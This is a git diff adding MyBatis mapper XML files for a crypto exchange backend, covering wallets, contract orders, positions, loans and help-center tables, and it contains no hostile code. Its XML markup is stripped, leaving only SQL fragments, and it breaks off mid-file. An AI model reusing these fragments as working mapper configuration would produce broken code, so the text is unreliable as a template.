b/ruoyi-system/src/main/resources/mapper/bussiness/TAppWalletRecordMapper.xml @@ -0,0 +1,349 @@ + + + + + + + + + + + + + + + + + + + + + + + + + select id, + amount, + create_by, + create_time, + update_by, + update_time, + remark, + user_id, + search_value, + before_amount, + after_amount, + serial_id, + type, + symbol, + admin_parent_ids, + u_amount + from t_app_wallet_record + + + + + + + + insert into t_app_wallet_record + + amount, + create_by, + create_time, + update_by, + update_time, + remark, + user_id, + search_value, + before_amount, + after_amount, + serial_id, + type, + symbol, + admin_parent_ids, + u_amount, + + + #{amount}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + #{userId}, + #{searchValue}, + #{beforeAmount}, + #{afterAmount}, + #{serialId}, + #{type}, + #{symbol}, + #{adminParentIds}, + #{uAmount}, + + + + + update t_app_wallet_record + + amount = #{amount}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + user_id = #{userId}, + search_value = #{searchValue}, + before_amount = #{beforeAmount}, + after_amount = #{afterAmount}, + serial_id = #{serialId}, + type = #{type}, + symbol = #{symbol}, + admin_parent_ids = #{adminParentIds}, + u_amount = #{uAmount}, + + where id = #{id} + + + + delete + from t_app_wallet_record + where id = #{id} + + + + delete from t_app_wallet_record where id in + + #{id} + + + + + + + + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TAppuserLoginLogMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TAppuserLoginLogMapper.xml new file mode 100644 index 0000000..d8f6859 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TAppuserLoginLogMapper.xml @@ -0,0 +1,97 @@ + + + + + + + + + + + + + + + + + + + select id, user_id, username, ipaddr, login_location, browser, os, status, msg, login_time from t_appuser_login_log + + + + + + + + insert into t_appuser_login_log + + user_id, + username, + ipaddr, + login_location, + browser, + os, + status, + msg, + login_time, + + + #{userId}, + #{username}, + #{ipaddr}, + #{loginLocation}, + #{browser}, + #{os}, + #{status}, + #{msg}, + #{loginTime}, + + + + + update t_appuser_login_log + + user_id = #{userId}, + username = #{username}, + ipaddr = #{ipaddr}, + login_location = #{loginLocation}, + browser = #{browser}, + os = #{os}, + status = #{status}, + msg = #{msg}, + login_time = #{loginTime}, + + where id = #{id} + + + + delete from t_appuser_login_log where id = #{id} + + + + delete from t_appuser_login_log where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TBotKlineModelInfoMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TBotKlineModelInfoMapper.xml new file mode 100644 index 0000000..b703a11 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TBotKlineModelInfoMapper.xml @@ -0,0 +1,110 @@ + + + + + + + + + + + + + + + + + + select id, model_id, date_time, open, close, high, low, x, y + from t_bot_kline_model_info + + + + + + + insert into t_bot_kline_model_info (model_id, date_time, open, close, high, low ,x,y) VALUES + + (#{item.modelId}, #{item.dateTime}, #{item.open}, #{item.close}, #{item.high}, #{item.low}, #{item.x}, + #{item.y} ) + + + + insert into t_bot_kline_model_info + + model_id, + date_time, + open, + close, + high, + low, + + + #{modelId}, + #{dateTime}, + #{open}, + #{close}, + #{high}, + #{low}, + + + + + update t_bot_kline_model_info + + model_id = #{modelId}, + date_time = #{dateTime}, + open = #{open}, + close = #{close}, + high = #{high}, + low = #{low}, + + where id = #{id} + + + + delete + from t_bot_kline_model_info + where id = #{id} + + + + delete from t_bot_kline_model_info where id in + + #{id} + + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TBotKlineModelMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TBotKlineModelMapper.xml new file mode 100644 index 0000000..a5e1a3f --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TBotKlineModelMapper.xml @@ -0,0 +1,159 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + select id, decline, granularity, increase, model, price_pencent, symbol, create_by, create_time, update_by, update_time, search_value, begin_time, end_time ,line_chart_data,con_price from t_bot_kline_model + + + + + + + + insert into t_bot_kline_model + + id, + decline, + granularity, + increase, + model, + price_pencent, + symbol, + create_by, + create_time, + update_by, + update_time, + search_value, + begin_time, + end_time, + line_chart_data, + con_price, + + + #{id}, + #{decline}, + #{granularity}, + #{increase}, + #{model}, + #{pricePencent}, + #{symbol}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{searchValue}, + #{beginTime}, + #{endTime}, + #{lineChartData}, + #{conPrice}, + + + + + update t_bot_kline_model + + decline = #{decline}, + granularity = #{granularity}, + increase = #{increase}, + model = #{model}, + price_pencent = #{pricePencent}, + symbol = #{symbol}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + search_value = #{searchValue}, + begin_time = #{beginTime}, + end_time = #{endTime}, + line_chart_data = #{lineChartData}, + con_price = #{conPrice}, + + where id = #{id} + + + + delete from t_bot_kline_model where id = #{id} + + + + delete from t_bot_kline_model where id in + + #{id} + + + + + + + + + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TCollectionOrderMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TCollectionOrderMapper.xml new file mode 100644 index 0000000..c305b2b --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TCollectionOrderMapper.xml @@ -0,0 +1,157 @@ + + + + + + + + + + + + + + + + + + + + + + + + + select id, order_id, user_id,address, chain,coin, hash, amount, status, client_name, create_time, create_by, update_time, update_by, remark, search_value from t_collection_order + + + + + + + + + + + + insert into t_collection_order + + id, + order_id, + user_id, + address, + chain, + coin, + hash, + amount, + status, + client_name, + create_time, + create_by, + update_time, + update_by, + remark, + search_value, + + + #{id}, + #{orderId}, + #{userId}, + #{address}, + #{chain}, + #{coin}, + #{hash}, + #{amount}, + #{status}, + #{clientName}, + #{createTime}, + #{createBy}, + #{updateTime}, + #{updateBy}, + #{remark}, + #{searchValue}, + + + + + update t_collection_order + + order_id = #{orderId}, + user_id = #{userId}, + coin = #{coin}, + address = #{address}, + chain = #{chain}, + hash = #{hash}, + amount = #{amount}, + status = #{status}, + client_name = #{clientName}, + create_time = #{createTime}, + create_by = #{createBy}, + update_time = #{updateTime}, + update_by = #{updateBy}, + remark = #{remark}, + search_value = #{searchValue}, + + where id = #{id} + + + + delete from t_collection_order where id = #{id} + + + + delete from t_collection_order where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TContractCoinMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TContractCoinMapper.xml new file mode 100644 index 0000000..de658aa --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TContractCoinMapper.xml @@ -0,0 +1,206 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select id, symbol, coin,profit_loss,float_profit, base_coin, earn_rate,loss_rate,delivery_days,min_margin,market,share_number, logo, leverage, enable, visible, exchangeable, enable_open_sell, enable_open_buy, enable_market_sell, enable_market_buy, open_fee, close_fee, usdt_rate, interval_hour, coin_scale, base_scale, min_share, max_share, total_profit, sort, create_time, update_time,show_symbol from t_contract_coin + + + + + + + + insert into t_contract_coin + + symbol, + coin, + base_coin, + share_number, + leverage, + enable, + visible, + exchangeable, + enable_open_sell, + enable_open_buy, + enable_market_sell, + enable_market_buy, + open_fee, + close_fee, + usdt_rate, + interval_hour, + coin_scale, + base_scale, + min_share, + max_share, + total_profit, + sort, + create_time, + update_time, + show_symbol, + logo, + market, + delivery_days, + min_margin, + earn_rate, + loss_rate, + float_profit, + profit_loss, + + + #{symbol}, + #{coin}, + #{baseCoin}, + #{shareNumber}, + #{leverage}, + #{enable}, + #{visible}, + #{exchangeable}, + #{enableOpenSell}, + #{enableOpenBuy}, + #{enableMarketSell}, + #{enableMarketBuy}, + #{openFee}, + #{closeFee}, + #{usdtRate}, + #{intervalHour}, + #{coinScale}, + #{baseScale}, + #{minShare}, + #{maxShare}, + #{totalProfit}, + #{sort}, + #{createTime}, + #{updateTime}, + #{showSymbol}, + #{logo}, + #{market}, + #{deliveryDays}, + #{minMargin}, + #{earnRate}, + #{lossRate}, + #{floatProfit}, + #{profitLoss}, + + + + + update t_contract_coin + + symbol = #{symbol}, + coin = #{coin}, + base_coin = #{baseCoin}, + share_number = #{shareNumber}, + leverage = #{leverage}, + enable = #{enable}, + visible = #{visible}, + exchangeable = #{exchangeable}, + enable_open_sell = #{enableOpenSell}, + enable_open_buy = #{enableOpenBuy}, + enable_market_sell = #{enableMarketSell}, + enable_market_buy = #{enableMarketBuy}, + open_fee = #{openFee}, + close_fee = #{closeFee}, + usdt_rate = #{usdtRate}, + interval_hour = #{intervalHour}, + coin_scale = #{coinScale}, + base_scale = #{baseScale}, + min_share = #{minShare}, + max_share = #{maxShare}, + total_profit = #{totalProfit}, + sort = #{sort}, + create_time = #{createTime}, + update_time = #{updateTime}, + show_symbol=#{showSymbol}, + logo=#{logo}, + market=#{market}, + min_margin=#{minMargin}, + delivery_days=#{deliveryDays}, + earn_rate=#{earnRate}, + loss_rate=#{lossRate}, + float_profit=#{floatProfit}, + profit_loss=#{profitLoss}, + + where id = #{id} + + + + delete from t_contract_coin where id = #{id} + + + + delete from t_contract_coin where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TContractLossMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TContractLossMapper.xml new file mode 100644 index 0000000..7711e09 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TContractLossMapper.xml @@ -0,0 +1,140 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + select id, delegate_type, status, position_id, user_id, earn_price, lose_price, create_time, earn_delegate_price, lose_delegate_price, earn_number, lose_number, loss_type, update_time ,type,leverage, symbol from t_contract_loss + + + + + + + + insert into t_contract_loss + + delegate_type, + status, + position_id, + user_id, + earn_price, + lose_price, + create_time, + earn_delegate_price, + lose_delegate_price, + earn_number, + lose_number, + loss_type, + update_time, + symbol, + leverage, + type, + + + + #{delegateType}, + #{status}, + #{positionId}, + #{userId}, + #{earnPrice}, + #{losePrice}, + #{createTime}, + #{earnDelegatePrice}, + #{loseDelegatePrice}, + #{earnNumber}, + #{loseNumber}, + #{lossType}, + #{updateTime}, + #{symbol}, + #{leverage}, + #{type}, + + + + + update t_contract_loss + + delegate_type = #{delegateType}, + status = #{status}, + position_id = #{positionId}, + user_id = #{userId}, + earn_price = #{earnPrice}, + lose_price = #{losePrice}, + create_time = #{createTime}, + earn_delegate_price = #{earnDelegatePrice}, + lose_delegate_price = #{loseDelegatePrice}, + earn_number = #{earnNumber}, + lose_number = #{loseNumber}, + loss_type = #{lossType}, + update_time = #{updateTime}, + symbol=#{symbol}, + leverage=#{leverage}, + type=#{type}, + + where id = #{id} + + + + delete from t_contract_loss where id = #{id} + + + + delete from t_contract_loss where id in + + #{id} + + + + + update t_contract_loss + set status=1 + where position_id = #{positionId} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TContractOrderMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TContractOrderMapper.xml new file mode 100644 index 0000000..7c38fbb --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TContractOrderMapper.xml @@ -0,0 +1,159 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select id, type, delegate_type, status, delegate_total, delegate_price, deal_num, deal_price, delegate_value, deal_value, delegate_time, deal_time, coin_symbol, create_time, order_no, user_id, update_time, fee, base_coin, leverage, symbol ,admin_parent_ids from t_contract_order + + + + + + + + insert into t_contract_order + + type, + delegate_type, + status, + delegate_total, + delegate_price, + deal_num, + deal_price, + delegate_value, + deal_value, + delegate_time, + deal_time, + coin_symbol, + create_time, + order_no, + user_id, + update_time, + fee, + base_coin, + leverage, + symbol, + admin_parent_ids, + + + + #{type}, + #{delegateType}, + #{status}, + #{delegateTotal}, + #{delegatePrice}, + #{dealNum}, + #{dealPrice}, + #{delegateValue}, + #{dealValue}, + #{delegateTime}, + #{dealTime}, + #{coinSymbol}, + #{createTime}, + #{orderNo}, + #{userId}, + #{updateTime}, + #{fee}, + #{baseCoin}, + #{leverage}, + #{symbol}, + #{adminParentIds}, + + + + + + update t_contract_order + + type = #{type}, + delegate_type = #{delegateType}, + status = #{status}, + delegate_total = #{delegateTotal}, + delegate_price = #{delegatePrice}, + deal_num = #{dealNum}, + deal_price = #{dealPrice}, + delegate_value = #{delegateValue}, + deal_value = #{dealValue}, + delegate_time = #{delegateTime}, + deal_time = #{dealTime}, + coin_symbol = #{coinSymbol}, + create_time = #{createTime}, + order_no = #{orderNo}, + user_id = #{userId}, + update_time = #{updateTime}, + fee = #{fee}, + base_coin = #{baseCoin}, + leverage = #{leverage}, + symbol = #{symbol}, + admin_parent_ids = #{adminParentIds}, + + where id = #{id} + + + + delete from t_contract_order where id = #{id} + + + + delete from t_contract_order where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TContractPositionMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TContractPositionMapper.xml new file mode 100644 index 0000000..1527f23 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TContractPositionMapper.xml @@ -0,0 +1,237 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select id, type, delegate_type, sub_time, earn_rate,loss_rate,delivery_days, audit_status,update_time, status, amount, open_num, open_price, close_price, order_no, user_id, open_fee, leverage, symbol, create_time, adjust_amount, earn, deal_price, deal_num, deal_time, sell_fee, remain_margin, asset_fee ,deal_value ,entrustment_value ,admin_parent_ids from t_contract_position + + + + + + + + insert into t_contract_position + + type, + delegate_type, + status, + amount, + open_num, + open_price, + close_price, + order_no, + user_id, + open_fee, + leverage, + symbol, + create_time, + adjust_amount, + earn, + deal_price, + deal_num, + deal_time, + sell_fee, + remain_margin, + asset_fee, + entrustment_value, + deal_value, + admin_parent_ids, + audit_status , + delivery_days, + min_margin, + earn_rate, + loss_rate, + sub_time , + + + + #{type}, + #{delegateType}, + #{status}, + #{amount}, + #{openNum}, + #{openPrice}, + #{closePrice}, + #{orderNo}, + #{userId}, + #{openFee}, + #{leverage}, + #{symbol}, + #{createTime}, + #{adjustAmount}, + #{earn}, + #{dealPrice}, + #{dealNum}, + #{dealTime}, + #{sellFee}, + #{remainMargin}, + #{assetFee}, + #{entrustmentValue}, + #{dealValue}, + #{adminParentIds}, + #{auditStatus} , + #{deliveryDays}, + #{minMargin}, + #{earnRate}, + #{lossRate}, + #{subTime}, + + + + + update t_contract_position + + type = #{type}, + delegate_type = #{delegateType}, + status = #{status}, + amount = #{amount}, + open_num = #{openNum}, + open_price = #{openPrice}, + close_price = #{closePrice}, + order_no = #{orderNo}, + user_id = #{userId}, + open_fee = #{openFee}, + leverage = #{leverage}, + symbol = #{symbol}, + create_time = #{createTime}, + adjust_amount = #{adjustAmount}, + earn = #{earn}, + deal_price = #{dealPrice}, + deal_num = #{dealNum}, + deal_time = #{dealTime}, + sell_fee = #{sellFee}, + remain_margin = #{remainMargin}, + asset_fee = #{assetFee}, + entrustment_value=#{entrustmentValue}, + deal_value=#{dealValue}, + admin_parent_ids=#{adminParentIds}, + audit_status =#{auditStatus} , + update_time =#{updateTime} , + sub_time=#{subTime}, + min_margin=#{minMargin}, + delivery_days=#{deliveryDays}, + earn_rate=#{earnRate}, + loss_rate=#{lossRate}, + + where id = #{id} + + + + delete from t_contract_position where id = #{id} + + + + delete from t_contract_position where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TCurrencyOrderMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TCurrencyOrderMapper.xml new file mode 100644 index 0000000..c120cbb --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TCurrencyOrderMapper.xml @@ -0,0 +1,178 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select id, type, delegate_type, status, order_no, symbol, coin, fee, delegate_total, delegate_price, deal_num, deal_price, delegate_value, deal_value, delegate_time, deal_time, user_id, create_time, update_time, search_value,admin_parent_ids from t_currency_order + + + + + + + + + insert into t_currency_order + + type, + delegate_type, + status, + order_no, + symbol, + coin, + fee, + delegate_total, + delegate_price, + deal_num, + deal_price, + delegate_value, + deal_value, + delegate_time, + deal_time, + user_id, + create_time, + update_time, + search_value, + admin_parent_ids, + + + #{type}, + #{delegateType}, + #{status}, + #{orderNo}, + #{symbol}, + #{coin}, + #{fee}, + #{delegateTotal}, + #{delegatePrice}, + #{dealNum}, + #{dealPrice}, + #{delegateValue}, + #{dealValue}, + #{delegateTime}, + #{dealTime}, + #{userId}, + #{createTime}, + #{updateTime}, + #{searchValue}, + #{adminParentIds}, + + + + + update t_currency_order + + type = #{type}, + delegate_type = #{delegateType}, + status = #{status}, + order_no = #{orderNo}, + symbol = #{symbol}, + coin = #{coin}, + fee = #{fee}, + delegate_total = #{delegateTotal}, + delegate_price = #{delegatePrice}, + deal_num = #{dealNum}, + deal_price = #{dealPrice}, + delegate_value = #{delegateValue}, + deal_value = #{dealValue}, + delegate_time = #{delegateTime}, + deal_time = #{dealTime}, + user_id = #{userId}, + create_time = #{createTime}, + update_time = #{updateTime}, + search_value = #{searchValue}, + admin_parent_ids = #{adminParentIds}, + + where id = #{id} + + + + delete from t_currency_order where id = #{id} + + + + delete from t_currency_order where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TCurrencySymbolMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TCurrencySymbolMapper.xml new file mode 100644 index 0000000..237fc20 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TCurrencySymbolMapper.xml @@ -0,0 +1,194 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select id, symbol, show_symbol,min_sell, coin, base_coin, fee_rate, coin_precision, base_precision, sell_min, buy_max, order_min, order_max, enable, is_show, is_deal, market_buy, market_sell, limited_buy, limited_sell, logo, create_by, create_time, update_by, update_time, search_value, market from t_currency_symbol + + + + + + + + + + insert into t_currency_symbol + + symbol, + show_symbol, + coin, + base_coin, + fee_rate, + coin_precision, + base_precision, + sell_min, + buy_max, + order_min, + order_max, + enable, + is_show, + is_deal, + market_buy, + market_sell, + limited_buy, + limited_sell, + logo, + create_by, + create_time, + update_by, + update_time, + search_value, + market, + min_sell, + + + #{symbol}, + #{showSymbol}, + #{coin}, + #{baseCoin}, + #{feeRate}, + #{coinPrecision}, + #{basePrecision}, + #{sellMin}, + #{buyMax}, + #{orderMin}, + #{orderMax}, + #{enable}, + #{isShow}, + #{isDeal}, + #{marketBuy}, + #{marketSell}, + #{limitedBuy}, + #{limitedSell}, + #{logo}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{searchValue}, + #{market}, + #{minSell}, + + + + + update t_currency_symbol + + symbol = #{symbol}, + show_symbol = #{showSymbol}, + coin = #{coin}, + base_coin = #{baseCoin}, + fee_rate = #{feeRate}, + coin_precision = #{coinPrecision}, + base_precision = #{basePrecision}, + sell_min = #{sellMin}, + buy_max = #{buyMax}, + order_min = #{orderMin}, + order_max = #{orderMax}, + enable = #{enable}, + is_show = #{isShow}, + is_deal = #{isDeal}, + market_buy = #{marketBuy}, + market_sell = #{marketSell}, + limited_buy = #{limitedBuy}, + limited_sell = #{limitedSell}, + logo = #{logo}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + search_value = #{searchValue}, + market = #{market}, + min_sell=#{minSell}, + + + where id = #{id} + + + + delete from t_currency_symbol where id = #{id} + + + + delete from t_currency_symbol where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TDefiOrderMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TDefiOrderMapper.xml new file mode 100644 index 0000000..e3c3c62 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TDefiOrderMapper.xml @@ -0,0 +1,101 @@ + + + + + + + + + + + + + + + + + + + + + select id, amount, totle_amount, rate, create_by, create_time, update_by, update_time, remark, search_value, user_id, admin_parent_ids from t_defi_order + + + + + + + + insert into t_defi_order + + amount, + totle_amount, + rate, + create_by, + create_time, + update_by, + update_time, + remark, + search_value, + user_id, + admin_parent_ids, + + + #{amount}, + #{totleAmount}, + #{rate}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + #{searchValue}, + #{userId}, + #{adminParentIds}, + + + + + update t_defi_order + + amount = #{amount}, + totle_amount = #{totleAmount}, + rate = #{rate}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + search_value = #{searchValue}, + user_id = #{userId}, + admin_parent_ids = #{adminParentIds}, + + where id = #{id} + + + + delete from t_defi_order where id = #{id} + + + + delete from t_defi_order where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TExchangeCoinRecordMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TExchangeCoinRecordMapper.xml new file mode 100644 index 0000000..a5f5a9d --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TExchangeCoinRecordMapper.xml @@ -0,0 +1,160 @@ + + + + + + + + + + + + + + + + + + + + + + + + + select id, from_coin, to_coin, user_id, username, address, status, amount, third_rate, system_rate, create_by, create_time, update_by, update_time, remark, search_value from t_exchange_coin_record + + + + + + + + + + + insert into t_exchange_coin_record + + from_coin, + to_coin, + user_id, + username, + address, + status, + amount, + third_rate, + system_rate, + create_by, + create_time, + update_by, + update_time, + remark, + search_value, + + + #{fromCoin}, + #{toCoin}, + #{userId}, + #{username}, + #{address}, + #{status}, + #{amount}, + #{thirdRate}, + #{systemRate}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + #{searchValue}, + + + + + update t_exchange_coin_record + + from_coin = #{fromCoin}, + to_coin = #{toCoin}, + user_id = #{userId}, + username = #{username}, + address = #{address}, + status = #{status}, + amount = #{amount}, + third_rate = #{thirdRate}, + system_rate = #{systemRate}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + search_value = #{searchValue}, + + where id = #{id} + + + + delete from t_exchange_coin_record where id = #{id} + + + + delete from t_exchange_coin_record where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/THelpCenterInfoMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/THelpCenterInfoMapper.xml new file mode 100644 index 0000000..30e400a --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/THelpCenterInfoMapper.xml @@ -0,0 +1,108 @@ + + + + + + + + + + + + + + + + + + + + + + select id, help_center_id, question, content, language, enable, del_flag, create_time, create_by, update_time, update_by, remark, show_symbol from t_help_center_info + + + + + + + + insert into t_help_center_info + + id, + help_center_id, + question, + content, + language, + enable, + del_flag, + create_time, + create_by, + update_time, + update_by, + remark, + show_symbol, + + + #{id}, + #{helpCenterId}, + #{question}, + #{content}, + #{language}, + #{enable}, + #{delFlag}, + #{createTime}, + #{createBy}, + #{updateTime}, + #{updateBy}, + #{remark}, + #{showSymbol}, + + + + + update t_help_center_info + + help_center_id = #{helpCenterId}, + question = #{question}, + content = #{content}, + language = #{language}, + enable = #{enable}, + del_flag = #{delFlag}, + create_time = #{createTime}, + create_by = #{createBy}, + update_time = #{updateTime}, + update_by = #{updateBy}, + remark = #{remark}, + show_symbol = #{showSymbol}, + + where id = #{id} + + + + delete from t_help_center_info where id = #{id} + + + + update t_help_center_info set del_flag = '1' where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/THelpCenterMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/THelpCenterMapper.xml new file mode 100644 index 0000000..d662e0c --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/THelpCenterMapper.xml @@ -0,0 +1,147 @@ + + + + + + + + + + + + + + + + + + + + select id, title, language, enable, del_flag, create_time, create_by, update_time, update_by, remark, show_symbol from t_help_center + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + insert into t_help_center + + id, + title, + language, + enable, + del_flag, + create_time, + create_by, + update_time, + update_by, + remark, + show_symbol, + + + #{id}, + #{title}, + #{language}, + #{enable}, + #{delFlag}, + #{createTime}, + #{createBy}, + #{updateTime}, + #{updateBy}, + #{remark}, + #{showSymbol}, + + + + + update t_help_center + + title = #{title}, + language = #{language}, + enable = #{enable}, + del_flag = #{delFlag}, + create_time = #{createTime}, + create_by = #{createBy}, + update_time = #{updateTime}, + update_by = #{updateBy}, + remark = #{remark}, + show_symbol = #{showSymbol}, + + where id = #{id} + + + + update t_help_center set del_flag = '1' where id = #{id} + + + + update t_help_center set del_flag = '1' where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/THomeSetterMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/THomeSetterMapper.xml new file mode 100644 index 0000000..bc3c8f8 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/THomeSetterMapper.xml @@ -0,0 +1,110 @@ + + + + + + + + + + + + + + + + + + + + + + select id, title, author, content, create_time, img_url, sort, is_show, language_name, likes_num, home_type, model_type, search_value from t_home_setter + + + + + + + + insert into t_home_setter + + title, + author, + content, + create_time, + img_url, + sort, + is_show, + language_name, + likes_num, + home_type, + model_type, + search_value, + + + #{title}, + #{author}, + #{content}, + #{createTime}, + #{imgUrl}, + #{sort}, + #{isShow}, + #{languageName}, + #{likesNum}, + #{homeType}, + #{modelType}, + #{searchValue}, + + + + + update t_home_setter + + title = #{title}, + author = #{author}, + content = #{content}, + create_time = #{createTime}, + img_url = #{imgUrl}, + sort = #{sort}, + is_show = #{isShow}, + language_name = #{languageName}, + likes_num = #{likesNum}, + home_type = #{homeType}, + model_type = #{modelType}, + search_value = #{searchValue}, + + where id = #{id} + + + + delete from t_home_setter where id = #{id} + + + + delete from t_home_setter where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TLoadOrderMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TLoadOrderMapper.xml new file mode 100644 index 0000000..2921ac2 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TLoadOrderMapper.xml @@ -0,0 +1,209 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select a.id, a.pro_id, a.user_id, a.create_time, a.amount, a.rate, a.interest, a.status, a.final_repay_time, + a.disburse_time, a.return_time, a.disburse_amount, a.admin_parent_ids, a.card_url, a.card_back_url, + a.capital_url, a.license_url, a.order_no, a.cycle_type, a.remark, a.create_by, a.update_by, a.update_time, a.search_value, + p.id p_id, p.amount_min p_amount_min, p.amount_max p_amount_max, p.cycle_type p_cycle_type, p.repay_type p_repay_type, p.status p_status, p.create_by p_create_by, + p.create_time p_create_time, p.update_by p_update_by, p.update_time p_update_time, p.remark p_remark, p.search_value p_search_value, + p.odds p_odds, p.repay_org p_repay_org, p.is_freeze p_is_freeze + from t_load_order a + left join t_load_product p on p.id = a.pro_id + + + + + + + + + insert into t_load_order + + pro_id, + user_id, + create_time, + amount, + rate, + interest, + status, + final_repay_time, + disburse_time, + return_time, + disburse_amount, + admin_parent_ids, + card_url, + card_back_url, + capital_url, + license_url, + order_no, + cycle_type, + remark, + create_by, + update_by, + update_time, + search_value, + + + #{proId}, + #{userId}, + #{createTime}, + #{amount}, + #{rate}, + #{interest}, + #{status}, + #{finalRepayTime}, + #{disburseTime}, + #{returnTime}, + #{disburseAmount}, + #{adminParentIds}, + #{cardUrl}, + #{cardBackUrl}, + #{capitalUrl}, + #{licenseUrl}, + #{orderNo}, + #{cycleType}, + #{remark}, + #{createBy}, + #{updateBy}, + #{updateTime}, + #{searchValue}, + + + + + update t_load_order + + pro_id = #{proId}, + user_id = #{userId}, + create_time = #{createTime}, + amount = #{amount}, + rate = #{rate}, + interest = #{interest}, + status = #{status}, + final_repay_time = #{finalRepayTime}, + disburse_time = #{disburseTime}, + return_time = #{returnTime}, + disburse_amount = #{disburseAmount}, + admin_parent_ids = #{adminParentIds}, + card_url = #{cardUrl}, + card_back_url = #{cardBackUrl}, + capital_url = #{capitalUrl}, + license_url = #{licenseUrl}, + order_no = #{orderNo}, + cycle_type = #{cycleType}, + remark = #{remark}, + create_by = #{createBy}, + update_by = #{updateBy}, + update_time = #{updateTime}, + search_value = #{searchValue}, + + where id = #{id} + + + + delete from t_load_order where id = #{id} + + + + delete from t_load_order where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TLoadProductMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TLoadProductMapper.xml new file mode 100644 index 0000000..54c0b2b --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TLoadProductMapper.xml @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + select id, amount_min, amount_max, cycle_type, repay_type, status, create_by, create_time, update_by, update_time, remark, search_value, odds, repay_org, is_freeze from t_load_product + + + + + + + + insert into t_load_product + + amount_min, + amount_max, + cycle_type, + repay_type, + status, + create_by, + create_time, + update_by, + 